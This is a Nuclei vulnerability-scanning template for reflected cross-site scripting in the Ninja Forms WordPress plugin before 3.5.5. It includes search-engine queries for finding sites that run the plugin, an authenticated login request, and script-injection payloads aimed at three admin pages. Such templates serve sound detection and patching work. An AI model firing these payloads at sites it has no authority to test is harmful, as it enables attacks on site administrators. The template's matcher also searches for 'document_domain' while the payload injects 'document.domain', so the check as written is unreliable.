Ninja Forms < 3.5.5 - Cross-Site Scripting

ID: ninja-forms-xss

Severity: medium

Author: ritikchaddha

Tags: cve2021,wp,wordpress,wp-plugin,ninja-forms,xss,authenticated

Description

The Ninja Forms WordPress plugin before 3.5.5 does not escape an URL before outputting it back in an attribute, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin

YAML Source

id: ninja-forms-xss

info:
  name: Ninja Forms < 3.5.5 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    The Ninja Forms WordPress plugin before 3.5.5 does not escape an URL before outputting it back in an attribute, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin
  impact: |
    Attackers can potentially exploit this XSS vulnerability to gain unauthorized access to sensitive information.
  remediation: |
    Update the plugin to Latest version. Fixed in 3.5.5.
  reference:
    - https://wpscan.com/vulnerability/ba6fa3d6-e3f7-449a-bd78-d57c26a67aa6/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cwe-id: CWE-79
    cpe: cpe:2.3:a:ninjaforms:ninja_forms:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 5
    vendor: ninjaforms
    product: ninja_forms
    framework: wordpress
    fofa-query: body="/wp-content/plugins/ninja-forms"
    publicwww-query: /wp-content/plugins/ninja-forms/
    shodan-query: http.html:"/wp-content/plugins/ninja-forms/"
  tags: cve2021,wp,wordpress,wp-plugin,ninja-forms,xss,authenticated

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body_1
        words:
          - "/wp-content/plugins/ninja-forms"
        internal: true

  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: status
        status:
          - 302
        internal: true

  - raw:
      - |
        GET /{{path}} HTTP/1.1
        Host: {{Hostname}}

    payloads:
      path:
        - wp-admin/admin.php?page=nf-settings&"><script>alert(/document.domain/)</script>
        - wp-admin/admin.php?page=nf-import-export&"><script>alert(/document.domain/)</script>
        - wp-admin/edit.php?post_status=all&post_type=nf_sub&form_id=1&"><script>alert(/document.domain/)</script>

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"><script>alert(/document_domain/)</script>'

      - type: word
        part: content_type
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 490a004630440220637b4ee96558acd0e94e372c8927f53c8f295bb992d4eb4c85ef0c9c36b09ef2022057d211b6bde60a15e8d0910d5f2ea72ca090c7f0ffd443fb3dd104e90a3eff66:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/wordpress/ninja-forms-xss.yaml"

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